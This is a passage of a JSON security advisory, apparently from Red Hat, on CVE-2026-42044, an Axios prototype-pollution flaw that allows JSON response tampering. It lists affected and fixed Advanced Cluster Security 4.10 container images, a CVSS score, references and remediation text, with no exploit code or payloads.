"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461624"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution \"Gadget\" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "RHBZ#2461624",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461624"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}
],
"release_date": "2026-04-24T17:49:49.517000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
